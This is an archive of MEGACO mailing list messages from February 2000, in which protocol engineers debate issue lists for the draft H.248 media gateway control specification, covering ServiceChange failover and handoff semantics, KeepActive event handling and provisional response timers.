> included below. Please note the new issue.
> >
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:34
> >PM  [[TomT]]  snip
> Section:         11.3 (Failure of an MG), second paragraph
> Category:     Editorial
> Issue no.:     12.32
> Issue:          The draft text specifies that "Upon failover,
> the Primary
> MG sends a ServiceChange command with a "Failover" method and a "MG
> Impending Failure" reasons", however the "Failover" method is
> not described
> in Section 7.2.8 on ServiceChange.
> Proposal:     It is recommended that definition of the
> "Failover" method in
> accordance with the text in Section 11.3 be added to Section 7.2.8.
> Status:
>      v13: CLOSED. Failover method added in Section 7.2.8
>
>
> Section:         11.4 (Failure of an MGC),
> Category:     Editorial
> Issue no.:     12.33
> Issue:          The draft text specifies that "It sends a
> ServiceChange
> command with a "Failover" method and a "MGC Impending
> Failure" reason",
> however the "Failover" method is not described in Section 7.2.8 on
> ServiceChange.
> Proposal:     It is recommended that definition of the
> "Failover" method in
> accordance with the text in Section 11.4 is added to Section 7.2.8.
> Status:
>      v13: CLOSED. Failover method added in Section 7.2.8
>
>
> Section:         11.4 (Failure of an MGC),
> Category:     Open Issue
> Issue no.:     12.34
> Issue:          The draft text does not specify what the MG
> does if it
> exhausts its list of MGC's to try. This is a rather serious omission.
> Discussion: It is strongly recommended that additional work
> to define this
> behaviour be done, and in a way that will ensure that failed
> MGC's will not
> be swamped when they become reachable again (cf. Annex D.1.6).
> Status:
>      v13: OPEN. No text changed.
>      v14: SEMI-CLOSED. A mechanism has been defined, however
> it proposed to
> extend it with specifying, that a method of "Disconnected" is
> used in this
> case (at least if service is not restored within T-MAX time,
> cf. issue 12.50).
>
>
> >    Section:        11.4, third
> > paragraph  Category:       Technical  Issue:          The
> draft text
> > specifies that "Accordingly, commands in progress
> continue, transaction
> > replies are sent to the new MGC, and the MG should  expect
> outstanding
> > transaction replies from the new MGC". It is not clear  if
> messages are
> > directed to the new MGC prior to the handoff being
> confirmed by a new
> > MGC or not. Also, it is not defined where
> > retransmitted  transactionrequests are to be sent when a
> handover occurs
> > until Annex  D.1.4. In order to support consistent and transparent
> > handoff, the above  must be specified.  Proposal:       It is
> > recommended, that messages are not directed to a new MGC
> until that MGC
> > has accepted the handover (it is not clear if this is in  line with
> > specification in Annex D.1.4 or not). It also proposed,
> > that  retransmitted transactionrequests are sent to the new MGC as
> > specified in  Annex D.1.4.
> >
> >v13 Status:     OPEN. No text changed.
> v14: CLOSED. Text has been updated.
>
>
> Section:         11.5 (Failure of an MGC), second paragraph
> Category:     Technical, Editorial
> Issue no.:     14.10
> Issue:          The draft text specifies that when the MGC sends a
> "Handoff" message to the MG, "The MG should send a
> ServiceChange message
> with a "Failover" method and a MGC directed change" reason to the
> designated MGC". Cf. issue 14.7, it would seem more
> consistent if the MG
> sent a "Handoff" rather than a "Failover" to the (new) MGC in
> response to a
> handoff from the old MGC
> Proposal:     It is proposed that the sentence is modified as
> described above.
> Status:
>
>
>
> Section:         D.1.4 (Provisional Responses), last paragraph
> Category:     Open Issue
> Issue no.:     12.50
> Issue:         The draft text specifies that "It is however
> important that
> the maximum delay of retransmissions be bounded. Prior to any
> retransmission, it is checked that the time elapsed since the
> sending of
> the initial datagram is no greater than T-MAX. If more than
> T-MAX time has
> elapsed, the MG concludes that the MGC has failed, and it begins its
> recovery process. The value T-MAX is related to the LONG-
> IMER value; the
> LONG-TIMER value is obtained by adding to T-MAX the maximum
> propagation
> delay in the network". Since the recovery procedure is not
> initiated until
> T-MAX time has passed, this implies that the transaction in
> question will
> be lost when the recovery procedure be initiated. This
> furthermore implies
> that transparent failover is not supported by the protocol
> which again will
> lead to a degraded level of service
> Proposal:     It is recommended that work on a recovery
> procedure that will
> enable transparent failover be done and included in the specification.
> Status:
>      v13: OPEN. No text changed.
>      v14: OPEN (now Section D.1.5). The sentence "When the MG
> establishes a
> new control associate, it can retransmit to the new MGC" has
> been added.
> However, this particular sentence violates the basis of T-MAX and may
> consequently lead to the same transaction being executed
> twice (e.g. if the
> original request was received and executed, but the response
> lost - after
> LONG-TIMER the fact that the transaction was executed will be
> lost and a
> subsequent retransmission will lead to the transaction being executed
> again). It seems, that the only safe solution within the
> current framework
> is to discard the transaction and issue a "Disconnected"
> ServiceChange to
> the other entity.
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 13:00:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA04911
	for ; Fri, 4 Feb 2000 13:00:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6EA3E2D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 12:57:46 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24629 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 12:57:16 -0500
Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.6D4C1070@standards.nortelnetworks.com>; Fri, 4 Feb 2000 12:50:34
          -0500
Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by
          tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id XAA12417 for
          ; Fri, 4 Feb 2000 23:00:07 +0530
          (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          6525687B.005CF579 ; Fri, 4 Feb 2000 22:25:21 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: multipart/mixed;
              Boundary="0__=NusvrgsLEkWN8tK9SLnN7HaJ7kBExr6YHiOzAwCKf7SKPPSTS1htBNlQ"
Content-Disposition: inline
Message-ID:  <6525687B.005CF3CE.00@sandesh.hss.hns.com>
Date:         Fri, 4 Feb 2000 22:28:49 +0530
Reply-To: samittal@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"
              
From: Sachin Mittal 
Subject:      Re: Cisco SG16: Service Change
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--0__=NusvrgsLEkWN8tK9SLnN7HaJ7kBExr6YHiOzAwCKf7SKPPSTS1htBNlQ
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



Issues/questions:
1. Graceful - When this is from MGC to MG on ROOT with finite delay MG shall
immediately
start ServiceChange with Method = ??? (Is it handoff, failover) to either
MGCIdToTry or secondary MGC(s). Anything
that needs to be sent should be sent to new MGC ???. (Seems similar to Handoff
case).
Is it that Graceful from MGc to MG is not allowed on ROOT ????
What about Graceful on ROOT with NULL Delay ??


2. If MGC sends Handoff MG sends failover (issue below). Also when MG detects
MGC failure
it sends Failover. This means that MGC is not told BY MG about the situation and
there
is an underlying assumption that in case of handoff MGC must have been
coordinating
with other MGC. Then what is the use of MG telling failover to MGC ?

Also Handoff can be used both in case of "In partial failure........." and
"Pairs of MGCs......."
means handoff is not only used for redundant operation but failure (failover ???
or forced ???)
also. Inpartial failure the method should be failover.

No recommendation is made on how the MGCs involved in the Handoff maintain state
info...."
implies that handoff is only used in case MGCs are redundant. We should
change the bullet "MGCIdtotry optional if message...." to "MGC should set
MGCIdToTry
in case of Handoff optional otherwise" because the "next to be tried" MGC in MG
list may not be the Redundant MGC.

3. Restart and Disconnected are always from MGC to MG and never from MG to MGC
????

4. 7.2.8 Failover
--0__=NusvrgsLEkWN8tK9SLnN7HaJ7kBExr6YHiOzAwCKf7SKPPSTS1htBNlQ
Content-type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable


? sent from MG to MGC to indicate the primary MG is out of
service and a secondary
MG is taking over, and sent from MG to (new) MGC in response to the MG =
having
received a
ServiceChange with ServiceChangeMethod equal to Handoff.". How can MGc =
figure
out that
a secondary MG exists or this is Handoff from other MGC or MG HAS DETEC=
TED MGC
FAILURE.


5. "Allowing the MGC to send duplicate messages to both MGs accommodate=
s pairs
of MGs that are
capable of redundant failover of one of the MGs. Only the Working MG sh=
all
accept or reject
transactions. Upon failover, the Primary MG sends a ServiceChange comma=
nd with a
"Failover"
method and a "MG Impending Failure" reason. The MGC then uses the prima=
ry MG as
the active
MG. When the error condition is repaired, the Working MG can send a
"ServiceChange" with a
"Restart" method."
This is one type of implementation specific detail but what about the o=
ther kind
of implementation
in which MGs are cooperating for redundancy and MGC is not aware of tha=
t. Can MG
send Handoff (do we need to have something called MGIdToTry)






"Rosen, Brian"  on 02/04/2000 07:52:21 PM

Please respond to "Rosen, Brian" 

To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
cc:    (bcc: Sachin Mittal/HSS)

Subject:  Re: Cisco SG16: Service Change


=

--0__=NusvrgsLEkWN8tK9SLnN7HaJ7kBExr6YHiOzAwCKf7SKPPSTS1htBNlQ
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline


Comments below

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:08 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Service Change
>
>
> At 08:51 PM 2/2/00 -0600, Tom-PT Taylor wrote:
> >
> >
> >Comments below.
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:55
> >PM  [[TomT]]  snip
> OK. Added the snipped stuff with updated status for
> completeness. Also note
> a couple of new issues here:
>
> Section:         7.2.8 (ServiceChange), numbered list items
> two and three
> Category:     Technical
> Issue no.:     13.12
> Issue:          The draft text has made significant changes to the
> semantics of the "Forced" and "Restart" ServiceChangeMethod
> since the Red
> Bank meeting. The old semantics guaranteed that the MG (or rather the
> affected terminations) would be in a known state following either a
> "Forced" or "Restart" ServiceChange. However the new
> semantics specified
> leaves the MG in an undefined state forcing the MGC to audit
> the MG to
> figure out what to do whenever it receives a "Forced" or "Restart"
> ServiceChange (consider the case where the primary MGC receives the
> "Forced" ServiceChange and the secondary (or another) MGC receives a
> subsequent "Restart" ServiceChange
> Proposal:     It is strongly suggested that the MG (or affected
> terminations) will be in a known state when a "Forced" or "Restart"
> ServiceChange is issued. Consequently, the text should be
> brought back in
> line with the outcome of the Red Bank meeting.
> Status:
>      v14: OPEN. No relevant text changed.
There has not been, to my knowledge, any change to forced and restart
which alters the state of the terminations since Red Bank.

If you cold-start an MG, it will come up in a known state, and
Restart to it's MGC, primary or secondary.  I think we can all
agree it does this.

If the MG itself FORCES terminations out of service, then the MGC
has to do the subtract.  There is no ambiguity of state.  No
secondary MGC is involved.

If the MGC FORCES terminations out of service, it must do the
subtract also, and there is no ambiguity of state.  No secondary
MGC is involved.

Somehow, your problem statement gets into a Handoff, or Failover
case, where, for some reason, you posit a working primary MGC
getting one message, and a working secondary MGC getting another one.
On a failure of an MG, there is no change of MGC, so the restart
looks like an initial registration, and all the terminations
should be in a known state.

On an MG initiated failover, the MG registers with the secondary
with Failover, not Restart.  The MGC could send Forced to
the primary, but the MG is considering it dead, and probably
wouldn't do it.  At any rate, failover DOES require an audit
by the secondary MGC as it should.

On an MGC initiated failover, you use Handoff.  Again, the MGC knows
what the state is, but the secondary doesn't.  It must Audit, but
that is as it should be.

There are no other cases of Forced or Restart that I know about.

> Section:         7.2.8 (ServiceChange), numbered item six
> Category:     Editorial/Technial
> Issue no.:     14.7
> Issue:          The draft text for "Failover" specifies that
> "..., and sent
> from MG to (new) MGC in response to the MG having received a
> ServiceChange
> with ServiceChangeMethod equal to Handoff". It would seem to be more
> consistent if the MG sent a "Handoff" rather than a
> "Failover" to the (new)
> MGC in response to a handoff from the old MGC.
> Proposal:     It is proposed, that above text segment is
> moved from the
> "Failover" method to the "Handoff" method.
> Status:
I'm okay with this, although I think it's a nit

>
> Section:         7.2.8 (ServiceChange), fifth last paragraph
> Category:     Technical, Editorial
> Issue no.:     14.8
> Issue:          The draft text specifies that "The MGC shall use this
> Addres, if specified, in its response to the ServiceChange
> command and any
> subequent commands and responses" and "The MG shall use this
> address for
> any subsequent communication with the MGC". While it makes
> sense to require
> commands to be sent to this address, it is generally not a
> good idea to
> require this for responses, e.g. for clustered systems. Furthermore,
> Section 9 (Transport) also specifies that "Responses to
> commands are sent
> back to the source address of the commands"
> Proposal:     It is strongly recommended, that commands will
> be sent to the
> address specified while responses will always be sent to the
> source address
> they came from.
> Status:
I agree with this.  The text is inconsistant, so something needs
to be changed.  Chip's proposal seems the most reasonable way
to resolve it


>
> Section:         7.2.8 (ServiceChange), third last paragraph
> Category:     Editorial
> Issue no.:     12.25
> Issue:          The draft text specifies that "The
> ServiceChangeMethod
> shall be "forced" for this usage". This is inconsistent with the
> description in Section 11.2  which specified a ServiceChangeMethod of
> "Restart".
> Proposal:     It is recommended that the above text be
> modified to use a
> ServiceChangeMethod of "Restart" instead.
> Status:
>      v13: CLOSED. Text has been modified.
>
>
> Section:     7.2.8 (ServiceChange), last bullet list
> Category:     Technical
> Issue no.:     13.13
> Issue:          The draft text specifies that "Profile required if
> terminationID is not ROOT, optional otherwise". However there
> may not be a
> profile, in which case it makes little sense to require it.
> Secondly, it
> would seem to make more sense to require a profile when the
> terminationID
> in fact is ROOT as that would be the initial registration.
> Proposal:     It is proposed, that the text is changed in
> accordance with
> above.
> Status:
>      v14: OPEN. No relevant text changed.
How about: Profile is Required if the termination ID is ROOT,
and the entity supports a profile, optional otherwise.

I agree the text is wrong, and some change is required.

>
> >
> >
> >Section:        11.2  Category:       Technical  Issue:
>     When a
> >gateway starts, it generates a restart ServiceChange  to the
> MGC. If the
> >MGC's response to the ServiceChange is lost while a  later
> command is
> >received by the gateway, how this command is handled is  not
> specified in
> >the draft text.  Proposal:       It is recommended that the
> gateway will
> >return an error.
> >
> >v13 Status:     OPEN. No text changed.
> >
> >[[TomT]]  Agreed in principle.  This triggered thoughts of flooding
> >attacks where the attacker masquerades as the MGC which it
> is indirectly
> >trying to flood with error messages.  I suppose we're OK so long as
> >authentication failures are discarded silently.  Anyway, I'll add a
> >"clarification" to section 8.3 stating that the MG should
> respond with an
> >error to authenticated messages from MGCs with which the MG is not
> >currently associated.   It's not quite so simple for MGCs receiving
> >messages from strangers -- I guess the MGC has to look
> inside to determine
> >whether to accept them.
> v14: CLOSED. An error will be returned
> >
> >
> >Section:        11.2  Category:       Technical  Issue:
>     The draft
> >text specifies that "If the MGC accepts the MG,  it will send a
> >Transaction Accept, with the MGCIdToTry set to itself. If
> the MG receives
> >an MGCIDToTry not equal to the MGC it contacted, it send a
> ServiceChange
> >to the MGC specified in the MGCIdToTry". It is inconsistent
> to on one
> >hand accept the transaction as successful, yet on the other
> hand  require
> >the MG to examine the MGCIdToTry returned to determine if
> >the  registration really was successful or not. Examination of the
> >syntax  reveals that this is part of a larger problem where
> >unsuccessful  transactions, actions and commands are not
> able to return
> >any other  information than an ErrorDescriptor which can
> only contain an
> >error code  and text.  Proposal:       It is recommended
> that the above
> >procedure is replaced by  return of an error code and
> another MGCIdToTry
> >if the registration did not  complete. Furthermore, it is
> recommended that
> >ErrorDescriptors are extended  to allow return of other information
> >(essentially CommandReply) than only  an error code and text.
> >
> >v13 Status:     OPEN. No text changed  [[TomT]]  As I see
> it, redirection
> >is different from a transaction error.  The MGC processed
> the command
> >successfully, and the response contains useful information.
> An error
> >should be thought of as a situation where the responder
> reached a dead end
> >when it tried to comply with the request.  In general
> recovery from an
> >error is pretty basic: kill the call.  In special cases the
> error code and
> >context should give enough information for recovery.
> Not really. Think of SIP, HTTP, MGCP, etc. There are numerous
> return codes
> that have nothing to do with "errors" per se. In reality,
> these "error
> codes" are really "return codes" and maybe that's where the
> confusion arises.
I'm with Tom on this one, and I'll further point out you can't do
what Chip proposes since if you get an Error descriptor, you
won't get the Service descriptor with the MgcIdToTry!


> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------

Brian
------------
Brian Rosen, Principal Engineer
Marconi (Formerly FORE Systems)
1000 FORE Drive, Warrendale, PA 15086
(724) 742-6826  mailto:brosen@eng.fore.com





--0__=NusvrgsLEkWN8tK9SLnN7HaJ7kBExr6YHiOzAwCKf7SKPPSTS1htBNlQ--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 13:19:08 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05479
	for ; Fri, 4 Feb 2000 13:19:07 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8AAAF4D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 13:12:52 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24670 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 13:11:51 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.008F3B90@standards.nortelnetworks.com>; Fri, 4 Feb 2000 13:01:50
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA12009; Fri, 4 Feb
          2000 13:04:00 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA19227; Fri, 4 Feb
          2000 13:04:03 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTQKJ>; Fri, 4 Feb 2000 13:00:47 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208892@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 13:04:01 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

We have just had a discussion on this issue, and I believe it
addresses it: digitmaps on dtmf optimizes reporting
of dtmf detection, but is otherwise the same as individual dtmf
events being enabled.  By that definition, KeepActive works the
way you wanted it; without it, signals stop with first detected
digit.  With it, signals continue while digits are detected.
So your IVR app would specify KeepActive on the digitmap completion
event, and use an embedded signal to turn it off if you wanted to.
The old mechanism doesn't work any differently; if you had specified
keepactive on the digits, whether or not they were accumulate by
digitmap actions, you still would not be able to treat the initial
digit differently from the terminating digit.  The only way you
could make this better would be to have the digitmap completion
event entirely separate from the dtmf detection events, so you
could have KeepActive separately on the digits from the completion.
I think embedded signals is a better answer, but I'm on record as
thinking that digitmaps should be a package and not a basic
protocol.

I'll deal with any problems we still have with the current text,
but a "everything changed" complaint without a problem is a no-op.

brian

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:12 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Keep Active
>
>
> At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> >
> >
> >I think the primary need here is for clarifying text in
> section 7.1.14
> >indicating that events mapped into a digit map do not generate
> >notifications, but do terminate ongoing signals unless the
> KeepActive flag
> >is set.
> Not really. The fundamental problem is the complete rework of
> the agreed
> upon event handling mechanism that for some reason was done
> after the Red
> Bank meeting.
>
> >
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:43
> >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
>   Cisco SG16:
> >Keep Active
> >
> >Section:        7.1.9, "Event Actions"
> >table  Category:       Technical  Issue:          The draft
> text specifies
> >that "KeepActive:      As Notify, but  production of signals
> continues (if
> >any signals were active)".The above  definition is overly
> restrictive in
> >that it prevents events from being  accumulated (either with
> or without
> >digit map) and at the same time keeping  a signal active.
> For example an
> >IVR application accumulating a string of  user input and playing an
> >announcement until the entire string is  accumulated cannot
> be supported
> >with the above behaviour.  Proposal:       It is recommended, that
> >"KeepActive" does not generate a "Notify"  and that it
> becomes possible to
> >specify multiple actions such that  "KeepActive" can be
> combined with,
> >e.g. "Notify" or "AccumulateByDigitMap"  depending on the particular
> >application.
> >
> >v13 Status:     OPEN. Event actions table has been removed and
> >extensive  modification of entire event processing taken place.
> >
> >Section:        7.1.9  Category:       Technical  Issue:          The
> >draft text specifies that "When KeepActive is specified as the  event
> >action, the media gateway shall send a Notify message to the
>  controller
> >upon detection of the event. Furthermore, the controller shall  not
> >interrupt any signals active on the Termination on which the event
> >is  detected" The above definition is overly restrictive in that it
> >prevents  events from being accumulated (either with or
> without digit map)
> >and at the  same time keeping a signal active. For example an IVR
> >application  accumulating a string of user input and playing an
> >announcement until the  entire string is accumulated cannot
> be supported
> >with the above behaviour.  Proposal:       It is recommended, that
> >"KeepActive" does not generate a "Notify"  and that it
> becomes possible to
> >specify multiple actions such that  "KeepActive" can be
> combined with,
> >e.g. "Notify" or "AccumulateByDigitMap"  depending on the particular
> >application.
> >
> >v13 Status:     OPEN. Extensive modifications of event handling has
> >taken  place. Events now always reported immediately on detection.
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 13:19:08 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05485
	for ; Fri, 4 Feb 2000 13:19:08 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1BAEFAD0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 13:16:55 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24674 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 13:15:46 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.8CCC6AB0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 13:05:46
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA12415; Fri, 4 Feb
          2000 13:07:53 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA20065; Fri, 4 Feb
          2000 13:07:56 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTQL9>; Fri, 4 Feb 2000 13:04:40 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208893@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 13:07:52 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Provisional Response timers
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

There are other messages on the thread.  I'll agree that is would
be good to have 8.2.3 and D.1.4 not conflict, although it is possible
to argue that a specific transport, like UDP can specify some
behavior deemed optional in the main protocol be treated as
required with that specific transport.  In this case, it was
an oversight.

Brian

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Friday, February 04, 2000 12:10 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Provisional Response timers
>
>
> At 02:44 PM 2/3/00 -0500, Tom-PT Taylor wrote:
>  > Resend.
>  >
>  > > -----Original Message-----
>  > > From: Taylor, Tom-PT [CAR:B904:EXCH]
>  > > Sent: Thursday, February 03, 2000 2:43 PM
>  > > To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
>  > > Subject:      RE: Cisco SG16: Provisional Response timers
>  > >
>  > > This looks like a v2 optimization.  Anyone else care to comment?
>  > >
>
> An optimization ? Well, if you insist, but if you are serious
> about targeting
> the carrier market with this protocol, I quite frankly don't
> see how you can
> skip these kinds of "optimizations". After all, we do want
> the protocol to
> perform well, right ?
>
>
>  >
>  > > -----Original Message-----
>  > > From: Chip Sharp [SMTP:chsharp@CISCO.COM]
>  > > Sent: Tuesday, January 25, 2000 7:51 PM
>  > > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
>  > > Subject:      Cisco SG16: Provisional Response timers
>  > >
>
> This one seems to belong here as well:
>
> Section:         8.2.3 (TransactionPending), last paragraph
> Category:      Technical, Editorial
> Issue no.:     12.28b
> Issue:          The draft text specifies that "If a duplicate
> request is
> received when pending, the responder may send a duplicate
> pending immediately,
> or continue waiting for its timer to trigger another
> Transaction Pending".
> However, Annex D.1.4 (first paragraph) specifies that "They
> should send this
> [Transaction Pending] response if they receive a repetition
> of a transaction
> that is still being executed."
> Proposal:     It is recommended that the text in Section
> 8.2.3 is at a brought
> in line with the text in Annex D.1.4.
> Status:
>      v13: OPEN. No relevant text changed
>      v14: OPEN. No relevant text changed.
>
>
>
>  >
>  > > Section:        D.1.4
>  > > Category:       Technical
>  > > Issue:          The draft text specifies that receipt of
> a provisional
>  > > response
>  > > will imply a switch to a longer repetition timer for the
> transaction.
>  > > However, there is no other reliability mechanism in
> place to detect the
>  > > loss of the final response for that transaction, and
> consequently a lost
>  > > final response may not be detected for a while (depends
> on the longer
>  > > repetition timer). This leads to suboptimal behaviour of
> the protocol with
>  > > unnecessary long time-outs.
>  > > Proposal:       It is proposed, that a final response
> issued after a
>  > > provisional
>  > > response requires an immediate confirmation to enable
> rapid detection of a
>  > > lost final response. Since the provisional response
> itself may be lost,
>  > > this implies that the final response should include an
> indication that a
>  > > response acknowledgement is required (immediately).
>  > >
>  > > v13 Status:     OPEN. No relevant text changed.
>
> v14: SEMI-CLOSED. Text updated to require a final response be
> sent, however
> there's no mention of the sender of the final response
> indicating that a
> confirmation is needed which is needed for correct operation
> (consider the case
> where a single provisional response was issued and lost; the
> sender of the
> final
> response is expecting a confirmation which he may never get
> since the receiver
> of the final response has no way of knowing the sender expects it)
>
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 13:58:53 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06355
	for ; Fri, 4 Feb 2000 13:58:52 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6E4611C0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 13:55:01 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 24809 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 13:54:21 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.F0C916D0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 13:44:21
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA16432; Fri, 4 Feb
          2000 13:46:30 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA29315; Fri, 4 Feb
          2000 13:46:23 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTRB4>; Fri, 4 Feb 2000 13:43:07 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208894@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 13:46:21 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Service Change
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Flemming

Comments to your comments below

> Actually, there has. v13 made some changes from v12 in this
> area. In v12,
> "forced" would had an effect similar to subtract on the affected
> termination, where as in v13, all of a sudden it's the MGC
> responsibility
> to figure out what the state of the MG is. Similarly, "restart" in v12
> implied the affected terminations were not associated with any Context
> (except for the NULL context presumably), where as v13 does
> not. Again, the
> MGC will now have to figure out what state the MG is in when
> it receives a
> "restart", 'cause it can't make any assumptions whatsoever.
